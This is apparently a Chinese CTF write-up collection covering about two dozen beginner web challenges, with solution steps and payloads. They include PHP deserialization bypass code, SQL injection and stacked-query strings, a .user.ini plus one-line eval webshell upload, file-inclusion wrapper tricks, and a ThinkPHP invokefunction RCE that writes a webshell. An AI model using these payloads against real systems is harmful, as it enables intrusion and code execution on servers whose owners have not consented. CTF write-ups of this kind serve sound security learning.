Training-WWW-Robots

根据题目提示直接访问robots.txt,拿到flag的路径,访问就可以拿到输入图片说明输入图片说明

PHP2

尝试发现Index.phps有东西,访问源代码果然发现php代码输入图片说明

这里需要进行两次url编码,进行两次url编码后能够绕过第一个强相等,并且在url解码后与admin弱相等
这里使用hackbar的全字符url编码
拿到flag输入图片说明

unserialize3

这里考察的是绕过__wakeup魔术方法,这个魔术方法是在反序列化时自动执行的,只要在序列化的时候将属性的数量改大一些就可以绕过
输入图片说明

这里将1改为2进行绕过
传入后自动跳转flag

输入图片说明

ics-06

这里发现id,并且传入的值只能是数字,经过BP爆破后发现传入2333能拿到flag输入图片说明

view_source

直接Ctrl+u查看源代码拿到flag输入图片说明

get_post

按照题目提示传入即可
输入图片说明

robots

直接访问robots.txt,然后访问拿到的网址拿到flag输入图片说明输入图片说明

backup

直接访问Index.php.bak拿到flag输入图片说明

首先查看cookie
发现一个网址cookie.php
访问后让我们看回应
发现flag
输入图片说明输入图片说明输入图片说明

disabled_button

这里提示是前端的问题了,在前端我么你发现了一个disabled的语句,直接删除就可以拿到flag输入图片说明
输入图片说明

Web_php_unserialize

这里考察的是绕过正则匹配,只需要将O:x改为O:+x就可以进行绕过,还有绕过wakeup魔术方法,只要将属性的数量改大一些就可以绕过

这里用到str_replace
用法例如$a=str_replace(“:1:”,”:2:”,$a);
这里就是将$a字符串中的,:1:替换为:2:,如果直接序列化语句

O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}
手动改为
O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}
然后再base64编码的话,会因为不可见字符的原因,而失败
直接base64编码后得到的是
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
这里是不正确的
Demofile前后各有一个不可见字符
因而我们使用str_replace,这样就可以避免因为不可见字符而失败

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Demo {
private $file = 'fl4g.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$b= new Demo('fl4g.php');
$a=serialize($b);
$a=str_replace(":1:",":2:",$a);
$a=str_replace(":4",":+4",$a);
echo base64_encode($a);
?>

拿到flag输入图片说明

weak_auth

查看源代码提示我们用户名为admin并且使用BP爆破输入图片说明

BP爆破发现密码为123456输入图片说明

登录拿到flag输入图片说明

simple_php

a要求和0弱相等并且不能为0
a=0a绕过,不会读到a但是不为0
b要求不能全为数字并且大于1234
使用1235a绕过输入图片说明

baby_web

源代码是index.php,访问index.php的时候进行抓包可以看到flag
输入图片说明

inget

这里存在sql注入,输入万能密码后拿到flag,注意#要用%23代替输入图片说明

easyupload

首先上传一个user.ini文件,再上传一句话木马就可以拿到flag
user.ini文件需要将Content-Type改成image/jpeg,作用相当于文件包含,包含出a.jpg的内容,a.jpg再写入一句话木马,就可以连接蚂剑拿到flag
输入图片说明

上传a.jpg输入图片说明

这里有个很奇怪的地方,就是图片的路径,直接连接题目中给的路径是连接不上的,经过查找找到另外一个路径拿到flag输入图片说明

连接蚁剑即可输入图片说明

fileinclude

首先查看源代码发现一段php代码,意思是通过Cookie传入language的值,如果有内容就不会执行包含english.php否则会包含language.php

当然题目是不会这么简单的,题目对flag有过滤,我们使用filter伪协议可以进行绕过拿到flag输入图片说明输入图片说明输入图片说明

fileclude

题目意思是如果file2的内容是hello ctf,那么就包含file1,我们使用data伪协议对file2内容进行写入,题目中对于flag.php进行了过滤,我们使用filter伪协议对其进行绕过,最终拿到flag

输入图片说明输入图片说明

easyphp

第一个if绕过
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
要求a的值大于6000000并且长度小于三,我们可以使用科学计数法进行绕过
a=1e8
相当于100000000

第二个if绕过
if(isset($b) && '8b184b' === substr(md5($b),-6,6))要求b的值经过MD5加密后最后六个字符是8b184b

substr的第一个值是要进行截取的字符串,第二个是开始截取的位置如果是负数,就是从倒数第几个数开始截取,第三个是要截取字符串的长度

使用脚本找到合适的值
脚本附上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php![输入图片说明](/img/34g.jpg)
function find_b() {
$counter = 0;
while (true) {
$b = strval($counter); // 将计数器转换为字符串
$md5_hash = md5($b);
if (substr($md5_hash, -6) === '8b184b') {
return $b;
}
$counter++;
}
}
$b = find_b();
echo "符合条件的 $b 值是: " . $b;
?>

输入图片说明

b=53724可以绕过第二个if

第三个if考察的是对于json的格式和DGGJ在低版本php里与0弱相等
json的格式例如c={“aaa”:”254”,”a”:”544”}这样
如果是数组那么就不需要””了
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)这里要求c是数组,c里m的值不能全为数字,并且要求大于2022
这里考察的是弱相等,数字后面的字母不会读取
c={“m”:”2023a”}
可以绕过

第四个if
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))要求n是数组,并且长度是2,而且n数组的第一个值也是数组
这里使用二维数组进行绕过
c={“m”:”2023a”,”n”:[[],:””]}

最后要求数组内容里要有DGGJ又要求没有DGGJ,这是最后一个考察点
array_search的查找比较的是弱相等,在低版本php中DGGJ与0是弱相等的
因而我们把n数组的第二个值改为0就可以进行绕过
后面要求n数组里面不能含有DGGJ,这里比较的是强相等,因为的确没写入,所以可以直接绕过
c={“m”:”2023a”,”n”:[[],:”0”]}

综上最终payload为
?a=1e8&b=53724&c={"m":"2023a","n":[[],0]}
输入图片说明

upload1

只需要抓包将图片马后缀改为php就可以绕过
输入图片说明输入图片说明

xff_referer

第一关要求ip必须是123.123.123.123
BP加上X-Forwarded-For:123.123.123.123即可
第二关要求来自
BP加上referer;网址即可
最后拿到flag输入图片说明

php_rce

构造payload写入shell
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>
然后访问shell.php通过一句话木马拿到flag
输入图片说明

Web_php_include

直接data伪协议拿到flag
输入图片说明

supersqli

考察的是堆叠注入
1’;show databases# 查所有库名
1’;show tables# 查所有的表名
1’;show columns from 表名#
1’;prepare y from concat(‘sel’,’ect*from表名‘);execute y;#

拿到所有表名输入图片说明

查看指定表名的所有列名
输入图片说明

我们发现这张表里有flag
然后我们直接看这张表的全部内容,就能拿到flag
输入图片说明
我们发现这里过滤了select,我们要对select 进行绕过

1’;prepare y from concat(‘sel’,’ect*from1919810931114514‘);execute y ;#
我们就能拿到flag
输入图片说明